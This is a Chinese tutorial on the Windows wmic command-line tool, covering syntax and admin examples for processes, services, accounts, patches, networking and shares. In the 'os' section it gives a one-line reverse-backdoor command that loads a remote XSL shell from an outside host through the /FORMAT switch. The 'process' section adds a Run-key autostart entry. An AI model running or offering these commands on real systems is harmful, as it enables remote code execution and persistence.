[TOC]

0x00 前言介绍

描述:wmic.exe是Windows Management Instrumentation,Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。其不能直接进行执行,需要切换终端到C:\Windows\System32\wbem位置下才能进行调用;

在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。

通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理

先决条件:

  • a.启动Windows Management Instrumentation服务,开放TCP135端口。
  • b.本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”。

系统管理执行脚本界面:

1
2
3
4
5
6
#非交互模式(Non-Interactive mode)
wmic <command>

#交互模式(Interactive mode)
运行->cmd->wmic
[global switches] <command>

帮助命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]

#可以使用以下全局开关:
/NAMESPACE 别名在其上操作的命名空间的路径。
/ROLE 包含别名定义的角色的路径。
/NODE 别名在其上操作的服务器。
/IMPLEVEL 客户端模拟级别。
/AUTHLEVEL 客户端身份验证级别。
/LOCALE 客户端应使用的语言 ID。
/PRIVILEGES 启用或禁用所有权限。
/TRACE 将调试信息输出到 stderr。
/RECORD 记录所有输入命令和输出内容。
/INTERACTIVE 设置或重置交互模式。
/FAILFAST 设置或重置 FailFast 模式。
/USER 会话期间要使用的用户。
/PASSWORD 登录会话时要使用的密码。
/OUTPUT 指定输出重定向模式。
/APPEND 指定输出重定向模式。
/AGGREGATE 设置或重置聚合模式。
/AUTHORITY 指定连接的 <授权类型>。
/?[:<BRIEF|FULL>] 用法信息。
有关特定全局开关的详细信息,请键入: switch-name /?

#当前角色中可以使用以下别名:
ALIAS - 对本地系统上可用别名的访问
BASEBOARD - 基板(也称为主板或系统板)管理。
BIOS - 基本输入/输出服务(BIOS)管理。
BOOTCONFIG - 启动配置管理。
CDROM - CD-ROM 管理。
COMPUTERSYSTEM - 计算机系统管理。
CPU - CPU 管理。
CSPRODUCT - SMBIOS 中的计算机系统产品信息。
DATAFILE - 数据文件管理。
DCOMAPP - DCOM 应用程序管理。
DESKTOP - 用户的桌面管理。
DESKTOPMONITOR - 桌面监视器管理。
DEVICEMEMORYADDRESS - 设备内存地址管理。
DISKDRIVE - 物理磁盘驱动器管理。
DISKQUOTA - 用于 NTFS 卷的磁盘空间使用量。
DMACHANNEL - 直接内存访问(DMA)通道管理。
ENVIRONMENT - 系统环境设置管理。
FSDIR - 文件系统目录项管理。
GROUP - 组帐户管理。
IDECONTROLLER - IDE 控制器管理。
IRQ - 中断请求线路(IRQ)管理。
JOB - 提供对使用计划服务安排的作业的访问。
LOADORDER - 定义执行依赖关系的系统服务的管理。
LOGICALDISK - 本地存储设备管理。
LOGON - 登录会话。
MEMCACHE - 缓存内存管理。
MEMORYCHIP - 内存芯片信息。
MEMPHYSICAL - 计算机系统的物理内存管理。
NETCLIENT - 网络客户端管理。
NETLOGIN - 网络登录信息(属于特定用户)管理。
NETPROTOCOL - 协议(及其网络特征)管理。
NETUSE - 活动网络连接管理。
NIC - 网络接口控制器(NIC)管理。
NICCONFIG - 网络适配器管理。
NTDOMAIN - NT 域管理。
NTEVENT - NT 事件日志中的项目。
NTEVENTLOG - NT 事件日志文件管理。
ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理。
OS - 已安装操作系统的管理。
PAGEFILE - 虚拟内存文件交换管理。
PAGEFILESET - 页面文件设置管理。
PARTITION - 物理磁盘的已分区区域的管理。
PORT - I/O 端口管理。
PORTCONNECTOR - 物理连接端口管理。
PRINTER - 打印机设备管理。
PRINTERCONFIG - 打印机设备配置管理。
PRINTJOB - 打印作业管理。
PROCESS - 进程管理。
PRODUCT - 安装程序包任务管理。
QFE - 快速修复工程。
QUOTASETTING - 卷上的磁盘配额设置信息。
RDACCOUNT - 远程桌面连接权限管理。
RDNIC - 对特定网络适配器的远程桌面连接管理。
RDPERMISSIONS - 特定远程桌面连接的权限。
RDTOGGLE - 远程打开或关闭远程桌面侦听程序。
RECOVEROS - 操作系统出现故障时将从内存收集的信息。
REGISTRY - 计算机系统注册表管理。
SCSICONTROLLER - SCSI 控制器管理。
SERVER - 服务器信息管理。
SERVICE - 服务应用程序管理。
SHADOWCOPY - 卷影副本管理。
SHADOWSTORAGE - 卷影副本存储区域管理。
SHARE - 共享资源管理。
SOFTWAREELEMENT - 系统上安装的软件产品元素的管理。
SOFTWAREFEATURE - SoftwareElement 的软件产品子集的管理。
SOUNDDEV - 声音设备管理。
STARTUP - 当用户登录到计算机系统时自动运行的命令的管理。
SYSACCOUNT - 系统帐户管理。
SYSDRIVER - 基本服务的系统驱动程序管理。
SYSTEMENCLOSURE - 物理系统外壳管理。
SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
TAPEDRIVE - 磁带驱动器管理。
TEMPERATURE - 温度传感器(电子温度计)数据管理。
TIMEZONE - 时区数据管理。
UPS - 不间断电源(UPS)管理。
USERACCOUNT - 用户帐户管理。
VOLTAGE - 电压传感器(电子电压表)数据管理。
VOLUME - 本地存储卷管理。
VOLUMEQUOTASETTING - 将磁盘配额设置与特定磁盘卷相关联。
VOLUMEUSERQUOTA - 每用户存储卷配额管理。
WMISET - WMI 服务操作参数管理。

#帮助说明:
#有关特定别名的详细信息,请键入: alias /?
#有关 CLASS/PATH/CONTEXT 的详细信息,请键入: (CLASS | PATH | CONTEXT) /?
CLASS - 按 Esc 键可获取完整 WMI 架构
PATH - 按 Esc 键可获取完整 WMI 对象路径
CONTEXT - 显示所有全局开关的状态
QUIT/EXIT - 退出程序

如:我要查看process命令的帮助,键入:wmic process /?后显示如下:

1
2
3
4
5
6
7
8
9
10
#PROCESS - 进程管理。提示: BNF 的别名用法。
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。

#用法:
PROCESS ASSOC [<格式说明符>]
PROCESS CALL <方法名称> [<实际参数列表>]
PROCESS CREATE <分配列表>
PROCESS DELETE
PROCESS GET [<属性列表>] [<获取开关>]
PROCESS LIST [<列表格式>] [<列表开关>]


Call:函数高级用法

1
2
3
4
5
6
7
8
ChangeSecurityPermissions
Compress
Copy
Delete
GetEffectivePermission
Rename
TakeOwnerShip
Uncompress


out

全局格式化输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#Commands
CLASS #从WMIC的默认别名模式中转义,直接访问WMI模式中的类。
PATH #从WMIC的默认别名模式中转义,直接访问WMI模式中的实例。
WMIC CONTEXT #显示所有全局开关的当前值。
# NAMESPACE : root\cimv2
# ROLE : root\cli
# NODE(S) : WEIYIGEEK
# IMPLEVEL : IMPERSONATE
# [AUTHORITY : N/A]
# AUTHLEVEL : PKTPRIVACY
# LOCALE : ms_804
# PRIVILEGES : ENABLE
# TRACE : OFF
# RECORD : N/A
# INTERACTIVE : OFF
# FAILFAST : OFF
# OUTPUT : STDOUT
# APPEND : STDOUT
# USER : N/A
# AGGREGATE : ON
WMIC QUIT #Exit from WMIC.
WMIC EXIT #Exit from WMIC.


#特殊命令获取信息进行输出
wmic /output:路径 <command> get 字段1,字段2;
WMIC /OUTPUT:c:\ClassOutput.htm CLASS Win32_SoundDevice
WMIC /OUTPUT:c:\PathOutput.txt PATH Win32_SoundDevice GET /VALUE


#格式化输出格式选择以及选择指定字段
# /FORMAT:VALUE|LIST|CSV|HFORM|HTABLE|MOF|RAWXML|TABLE|XML|htable-sortby
# /get:字段1,字段2 #及查询命令需要显示列值的标题
PS C:\Windows\System32\wbem> wmic PATH Win32_SoundDevice GET SystemName,Status /Format:VALUE
# Status=OK
# SystemName=WEIYIGEEK


0x01 系统配置

environment

描述:ENVIRONMENT系统环境设置管理;

1
2
3
4
5
6
ENVIRONMENT ASSOC [<格式说明符>]
ENVIRONMENT CREATE <分配列表>
ENVIRONMENT DELETE
ENVIRONMENT GET [<属性列表>] [<获取开关>]
ENVIRONMENT LIST [<列表格式>] [<列表开关>]
ENVIRONMENT SET [<分配列表>] #属性设置操作。

基础实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#1.环境变量摘要信息显示->> Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic environment list brief
# Name UserName VariableValue
# CLASSPATH <SYSTEM> .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;


#2.获取指定环境变量的值以及所属用户
wmic ENVIRONMENT where "name='temp'" get UserName,VariableValue #获取temp环境变量


#3.更改设置的环境变量属性支持cmd中%%符号
wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;e:\tools" #系统用户-更改path环境变量值,新增e:\tools


#4.#新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH%
wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%"


#5.删除home环境变量
wmic ENVIRONMENT where "name='home'" delete

WeiyiGeek.

WeiyiGeek.


useraccount

描述:用户帐户管理计算机用户列表;

基础语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
USERACCOUNT ASSOC [<格式说明符>]
USERACCOUNT CALL <方法名称> [<实际参数列表>]
USERACCOUNT CREATE <分配列表>
USERACCOUNT DELETE
USERACCOUNT GET [<属性列表>] [<获取开关>]
USERACCOUNT LIST [<列表格式>] [<列表开关>]
USERACCOUNT SET [<分配列表>] #设置是否禁用/名称/锁定/密码是否能更改以及密码失效的时间
Disabled boolean
FullName string
Lockout boolean
PasswordChangeable boolean
PasswordExpires boolean
PasswordRequired boolean #密码需要

基础示例:

1
2
3
4
5
6
7
8
9
10
11
12
#1.当前计算机用户和所有计算机hong'h列表
WMIC USERACCOUNT where "name='%UserName%'"
WMIC USERACCOUNT LIST /FORMAT:VALUE | findstr /n "\<Name\> \<SID\> Descrip Password"
wmic useraccount list brief
# AccountType Caption Domain FullName Name SID
# 512 WEIYIGEEK\Administrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500

#2.计算机用户更改
wmic USERACCOUNT where name="Administrator" set FullName="admin" #更改用户administrator全名为admin
wmic useraccount where "name='admin" call Rename admin00 #更改用户名admin为admin00

#3.创建计算机用户


cpu

基础示例:

1
2
3
4
5
6
7
8
9
10
# //查看CPU及其内存状况内存速率
wmic cpu get SystemName,Caption,name,CurrentClockSpeed
# Caption CurrentClockSpeed Name SystemName
# Intel64 Family 6 Model 60 Stepping 3 3301 Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz WEIYIGEEK


#//查看系统实际核心数(启用)以及线程数
> wmic cpu get NumberOfCores,NumberOfEnabledCore,NumberOfLogicalProcessors
NumberOfCores NumberOfEnabledCore NumberOfLogicalProcessors
8 8 8


os

描述:系统信息
基础语法:

1
2
3
4
5
6
7
8
9
OS CALL <方法名称> [<实际参数列表>]
OS CREATE <分配列表>
OS DELETE
OS GET [<属性列表>] [<获取开关>]
OS LIST [<列表格式>] [<列表开关>]
OS SET [<分配列表>]

> wmic os get /? #可能会被恶意了利用metasploit生成xsl马儿
/FORMAT:<格式说明符> - 处理 XML 结果的关键字/XSL 文件名。

1
2
3
4
5
6
7
8
9
10
11
#1.计算机简要信息
wmic os list brief
# BuildNumber Organization RegisteredUser SerialNumber SystemDirectory Version
# 18362 WeiyiGeek 00331-10000-00001-AA685 C:\Windows\system32 10.0.18362


#2.实现反弹后门
wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"

#3.设置覆盖安装实际
wmic os where(primary=1) call setdatetime 20070731144642.555555+480
WeiyiGeek.

WeiyiGeek.


bios

基础示例:

1
2
3
4
#查看bios版本型号
wmic bios get BIOSVersion,Manufacturer,Name
# BIOSVersion Manufacturer Name
# {"DELL - 1072009", "A11", "American Megatrends - 4028D"} Dell Inc. A11


csproduct

基础示例:

1
2
3
4
5
6
7
8
9
#//计算机系统产品信息(笔记本型号)
WMIC CSPRODUCT LIST FULL
# Description=计算机系统产品
# IdentifyingNumber=8QVY
# Name=OptiPlex
# SKUNumber=
# UUID=4C4C4544-5551-5610-8059-B8C04F383632
# Vendor=Dell Inc.
# Version=00


computersystem

基础示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#1.系统信息
WMIC COMPUTERSYSTEM list /format:list | findstr /n "\<Domain\> Roles UserName Manufacturer Model "
# 16:Domain=WORKGROUP
# 25:Manufacturer=Dell Inc.
# 26:Model=OptiPlex 9020
# 44:Roles={"LM_Workstation","LM_Server","Print","NT"}
# 53:UserName=WEIYIGEEK\WeiyiGeek

#2.退出所在域
wmic computersystem Where "name='计算机名称'" call joindomainorworkgroup "",1,"域名称","域管理员密码","域管理员用户名"

#3.更改现有工作组为指定的工作组
wmic computersystem Where "name='计算机名称'" call UnjoinDomainOrWorkgroup

#4.更改计算机名称
wmic computersystem where "caption='%ComputerName%'" call rename newcomputername


baseboard

基础示例:

1
2
3
4
5
#  //主板信息
WMIC BASEBOARD LIST /FORMAT:list | findstr "\<Description\> Product Manufacturer"
Description=基板
Manufacturer=Dell Inc.
Product=03CPWF


memlogical

描述:Windows10中不能执行该命令;
基础示例:

1
2
#获取内存数:
wmic memlogical get totalphysicalmemory


sounddev

基础示例:

1
2
3
4
#声音设备管理信息
ProductName Status StatusInfo
Realtek High Definition Audio OK 3
AMD High Definition Audio Device OK 3


diskdrive

基础示例:

1
2
3
4
5
#获取物理磁盘型号大小等  500105249280  (gb|mb|kb|b)
wmic DISKDRIVE get Caption,size,InterfaceType
# Caption InterfaceType Size
# ST1000DM010-2EP102 SCSI 1000202273280
# WD Elements 1078 USB Device USB 1000169372160


logicaldisk

基础示例:

1
2
3
4
5
6
7
8
9
10
11
#本地储存设备管理 - 获取硬盘系统格式、总大小、可用空间等 (能看见全部磁盘)
wmic LOGICALDISK get name,Description,filesystem,size,freespace
# Description FileSystem FreeSpace Name Size
# 本地固定磁盘 NTFS 94062698496 C: 161062318080
# 本地固定磁盘 NTFS 260568281088 D: 280247660544
# 本地固定磁盘 NTFS 244968955904 E: 279173918720
# 本地固定磁盘 NTFS 184098725888 F: 279480832000
# 光盘 G:
# 光盘 I:
# 本地固定磁盘 NTFS 275694428160 L: 536870907904
# 本地固定磁盘 NTFS 282572599296 M: 463298621440


desktopmonitor
1
2
3
4
# //显示系统屏幕大小 -- 注意条件
wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth
# ScreenHeight ScreenWidth
# 1080 1920

0x02 系统服务进程

process

描述:进行进程查看和修改

基础语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
PROCESS ASSOC [<format specifier>]  #关联进程
PROCESS CALL <method name> [<actual param list>] #调用函数
* terminate #关闭进程
* create #创建进程
* AttachDebugger #调试进程
* GetOwner #获取执行者
* GetOwnerSid #获取执行则者SID
* SetPriority #设置进程优先级

PROCESS CREATE <assign list> #创建进程
PROCESS DELETE #删除进行
PROCESS GET [<property list>] [<get switches>] #获取进程信息
PROCESS LIST [<list format>] [<list switches>] #列举进程


基础实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#1.显示进程的详细信息
PS C:\Windows\System32\wbem> wmic process list brief
# HandleCount Name Priority ProcessId ThreadCount WorkingSetSize
# 0 System Idle Process 0 0 4 8192


#2.获取进程指定信息(非常实用)
#查看独立PID进程名以及及=可执行路径常常和/FORMAT:VALUE联用
wmic process get name,commandline,processid,executablepath /FORMAT:List
# CommandLine="C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe"
# ExecutablePath=C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe
# Name=WindowsTerminal.exe
# ProcessId=11112

#直接获取其值不显示其头部
wmic process get caption,commandline /value
# Caption=bash.exe
# CommandLine="D:\Program Files\Git\usr\bin\bash.exe"


#3.调用call进行创建进程
wmic process call create shutdown.exe #关闭本地计算机
wmic process call create "C:\Windows\System32\notepad.exe" #新建notepad进程 或者 该路径有空格的情况下 "C:\Program Files\Tencent\QQ\QQ.exe"


#4.过滤进程显示信息
wmic process where "name='svchost.exe'" get ExecutablePath
wmic process where "name='wechat.exe'" list full #显示QQ进程的全部信息
# CommandLine="D:\Program Files (x86)\Tencent\WeChat\WeChat.exe"
# CSName=WEIYIGEEK
# Description=WeChat.exe
# ExecutablePath=D:\Program Files (x86)\Tencent\WeChat\WeChat.exe
# ExecutionState=
# Handle=10452
# HandleCount=1188
# InstallDate=
# KernelModeTime=98750000
# MaximumWorkingSetSize=126004
# MinimumWorkingSetSize=124824
# Name=WeChat.exe
# OSName=Microsoft Windows 10 专业版|C:\Windows|\Device\Harddisk0\Partition3


#5.关闭指定进程,执行下面的命令将关闭正在运行的QQ.exe:
wmic process where "name='wechat.exe'" call terminate
#结束svchost.exe进程,路径为非C:\WINDOWS\system32\svchost.exe的
wmic process where "name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe'" call Terminate
wmic process 2345 call terminate #删除指定进程


#6.获取指定进程信息
PS C:\Windows\System32\wbem> wmic process where "name='TIM.exe'" call GetOwner
# 执行(\\WEIYIGEEK\ROOT\CIMV2:Win32_Process.Handle="3720")->GetOwner()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
# Domain = "WEIYIGEEK";
# ReturnValue = 0;
# User = "WeiyiGeek";
# };

PS C:\Windows\System32\wbem> wmic process where "name='TIM.exe'" call GetOwnerSid
# 执行(\\WEIYIGEEK\ROOT\CIMV2:Win32_Process.Handle="3720")->GetOwnerSid()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
# ReturnValue = 0;
# Sid = "S-1-5-21-923396991-3399624210-3190802951-1001";
# };


#7.精确查找与模糊查找
wmic process where caption="notepad.exe" get caption,commandline /value
wmic process where="caption like 'notepad%'" get caption,commandline /value


#8.删除满足多个条件的进程(可以利用Key值进行匹配)
wmic process where name="'QQ.exe' and pid='123'" delete


#9.针对注册表的操作设置自启动
wmic process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"autorun\" /t REG_SZ /d \"C:\windows\autorun.exe\" /f"

WeiyiGeek.

WeiyiGeek.

补充:批处理

1
2
3
4
5
6
7
8
@echo off
::以KB为单位显示进程占用内存
for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (
set /a m=%%a/1024
set /a mm=%%b/1024
echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K
)
pause


service

描述:进行计算机服务程序管理效果比net start/stop 服务名称强大;
基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SERVICE ASSOC [<format specifier>]
SERVICE CALL <method name> [<actual param list>]
* Change BOOLEAN/STRING/ARRAY OF STRING/UINT8 #更改 crete 函数方法 创建的Key/VALUE
* ChangeStartMode [IN ]StartMode(STRING) (null) #更改启动模式
* Create [IN ]DesktopInteract(BOOLEAN) (null)
* [IN ]DisplayName(STRING)
* [IN ]StartName(STRING)
* [IN ]StartPassword(STRING)
* [IN ]ErrorControl(UINT8)
* [IN ]LoadOrderGroup(STRING)
* [IN ]LoadOrderGroupDependencies(ARRAY OF STRING)
* [IN ]Name(STRING)
* [IN ]PathName(STRING)
* [IN ]ServiceDependencies(ARRAY OF STRING)
* [IN ]ServiceType(UINT8)
* [IN ]StartMode(STRING)
* Delete (null)
* InterrogateService (null) #中和服务
* PauseService (null) #暂停服务
* ResumeService (null) #服务摘要
* StartService (null)
* StopService (null)
* UserControlService [IN ]ControlCode(UINT8) (null) #用户控制服务

SERVICE CREATE <assign list>
SERVICE DELETE
SERVICE GET [<property list>] [<get switches>]
SERVICE LIST [<list format>] [<list switches>]

基础实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#1.案例:停止、暂停和运行服务功能
wmic SERVICE where name="Spooler" call startservice #运行spooler服务
wmic SERVICE where name="Spooler" call stopservice #运行spooler服务
wmic SERVICE where name="Spooler" call PauseService #暂停spooler服务
wmic SERVICE where name="Spooler" call delete #删除服务

#2.更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动]
wmic SERVICE where name="Spooler" set StartMode="auto"


#3.caption 指定服务名进行过滤
Service where caption="windows time" call stopservice #停止服务
Service where caption="windows time" call startservice #启动服务
#停止服务,注意name和caption的区别(CMD中运行不能再Powershell中运行)
echo %ERRORLEVEL% #运行命令是否成功


#4.服务信息摘要以及状态信息指定来过滤
wmic service list brief
# ExitCode Name ProcessId StartMode State Status
# 1077 AJRouter 0 Manual Stopped OK
# 0 Spooler 3480 Auto Running OK
wmic service where "State='Running'" list brief

#5.创建一个服务(未找到)
wmic service create /?:full #获取帮助详细
wmic service call create /?:full

如:telnet服务的显示名称是 telnet 服务名称是tlntsvr, 还有Windows Time服务的名称是w32time 显示名称是"Windows Time"要用引号引起来 主要是有一个空格。

WeiyiGeek.

WeiyiGeek.


job

描述:设置计算机的计划任务以及获取计划任务;
基础语法:

1
2


基础示例:

1
2
3
4
5
6
7
8
#0.查看创建的计划任务
wmic job list brief



#1.创建计划任务
wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480


0x03 系统软件与补丁

qfe

描述:查看系统补丁安装情况

1
2
3
4
5
QFE ASSOC [<format specifier>]
QFE CREATE <assign list>
QFE DELETE
QFE GET [<property list>] [<get switches>]
QFE LIST [<list format>] [<list switches>]

实践案例:

1
2
3
4
5
6
7
8
9
10
#1.查找目标机器是否安装了补丁,输入如下命令
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
# Caption Description HotFixID InstalledOn
# http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849697 10/26/2016
# http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849696 10/26/2016

#2.删除已经安装的补丁
wmic qfe where "HotFixID='KB4497727'" delete
# Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status
# http://support.microsoft.com/?kbid=4497727 WEIYIGEEK Security Update KB4497727 4/1/2019

WeiyiGeek.

WeiyiGeek.


product

描述:软件安装信息查看

1
2
3
4
5
6
7
#安装包在C:\WINDOWS\Installer目录下
PRODUCT ASSOC [<format specifier>]
PRODUCT CALL <method name> [<actual param list>]
PRODUCT CREATE <assign list>
PRODUCT DELETE
PRODUCT GET [<property list>] [<get switches>]
PRODUCT LIST [<list format>] [<list switches>]

基础语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#1.系统已经安装的软件及其版本号
wmic product get name,version

#2.表示将清单存储为 install.txt 并放在E 盘下 (比较特殊)
wmic /output:E:\install.txt product get name,version

#3.修复和卸载安装
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Uninstall #卸载.msi安装包
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Reinstall #修复.msi安装包
wmic Product where "name='电子摄像指纹采集'" call Uninstall #静默卸载
# 执行(\\WEIYIGEEK\ROOT\CIMV2:Win32_Product.IdentifyingNumber="{11314157-F5F7-41E7-A507-B700D2AC7F24}",Name="电子摄像指纹
# 采集",Version="1.00.0000")->Uninstall()
# 方法执行成功。
# 外参数:
# instance of __PARAMETERS
# {
# ReturnValue = 1603;
# };


#4.安装软件信息简要查看
wmic product List brief
# Caption IdentifyingNumber Name Vendor Version
# Office 16 Click-to-Run Extensibility Component {90160000-008C-0000-1000-0000000FF1CE} Office 16 Click-to-Run Extensibility Component Microsoft Corporation 16.0.12130.20272
# Office 16 Click-to-Run Localization Component {90160000-008C-0804-1000-0000000FF1CE} Office 16 Click-to-Run Localization Component Microsoft Corporation 16.0.12130.20272

WeiyiGeek.

WeiyiGeek.


0x04 网络设置

nicconfig

实例:利用 nicconfig 进行动态或者静态设置ip地址

1
2
3
4
5
6
NICCONFIG ASSOC [<格式说明符>]
NICCONFIG CALL <方法名称> [<实际参数列表>]
NICCONFIG CREATE <分配列表>
NICCONFIG DELETE
NICCONFIG GET [<属性列表>] [<获取开关>]
NICCONFIG LIST [<列表格式>] [<列表开关>]

基础实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#1.网卡信息描述以及索引
wmic nicconfig get SettingID,Description,index
# Description Index SettingID
# Microsoft Kernel Debug Network Adapter 0 {7D257BDB-8307-4D9A-BD9B-58EE823EB375}
# Intel(R) Ethernet Connection I217-LM 1 {8EE7E18D-B6A7-4210-B0AF-55F446794580}


#2.设置自动获取或者静态IP地址设置根据条件设置
wmic nicconfig where index=13 call enabledhcp #动态获取IP地址
wmic nicconfig where index=0 call enablestatic("192.168.1.5"), ("255.255.255.0") #0说明是配置网络接口1。
wmic nicconfig where index=13 call setgateways("192.168.1.1"),(1) #配置网关(默认路由

#3.指定字段获取(get 与 list 不能同时存在)
wmic nicconfig get Description,IPAddress,DefaultIPGateway
# DefaultIPGateway Description IPAddress
# Microsoft Kernel Debug Network Adapter
# {"192.20.172.1"} Intel(R) Ethernet Connection I217-LM {"192.20.172.109", "fe80::d97d:fe6c:10bf:4244"}
# VMware Virtual Ethernet Adapter for VMnet1 {"192.168.64.1", "fe80::34d5:4b52:1627:64dc"}
# VMware Virtual Ethernet Adapter for VMnet8 {"192.168.1.1", "fe80::50fc:1560:33a5:b73f"}

WeiyiGeek.

WeiyiGeek.


0x05 文件磁盘操作

share

描述:共享资源管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#创建参数
Create [IN ]Access(OBJECT) (null)
[IN ]Description(STRING)
[IN ]MaximumAllowed(UINT32)
[IN ]Name(STRING)
[IN ]Password(STRING)
[IN ]Path(STRING)
[IN ]Type(UINT32)
```

基础示例:
```bash
#1.共享查看
net share #查看自己的共享
WMIC SHARE| findstr /n "OK" #查看自己的共享

#2.共享的添加
net share test=d:\test
WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0 #添加共享

#3.net share F$ /delete 也能删除共享
wmic SHARE where name="Brother DCP-L5500D series" call delete #删除共享

WeiyiGeek.

WeiyiGeek.


datafile

描述:磁盘 DataFile 管理与操作
基础语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#USAGE:
DATAFILE ASSOC [<format specifier>]
DATAFILE CALL <method name> [<actual param list>]
DATAFILE CREATE <assign list>
DATAFILE DELETE
DATAFILE GET [<property list>] [<get switches>]
DATAFILE LIST [<list format>] [<list switches>]

#Where 条件
# AccessMask=18809343
# Archive=TRUE
# Caption=c:\test.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958+480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c:\test.txt
# Drive=c:
# EightDotThreeFileName=c:\test.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958+480
# InUseCount=
# LastAccessed=20181011185819.087958+480
# LastModified=20181011190254.894734+480
# Manufacturer=
# Name=c:\test.txt
# Path=\
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUEAccessMask=18809343
# Archive=TRUE
# Caption=c:\test.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958+480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c:\test.txt
# Drive=c:
# EightDotThreeFileName=c:\test.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958+480
# InUseCount=
# LastAccessed=20181011185819.087958+480
# LastModified=20181011190254.894734+480
# Manufacturer=
# Name=c:\test.txt
# Path=\
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUE

基础实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#1.获取文件的创建、访问、修改时间
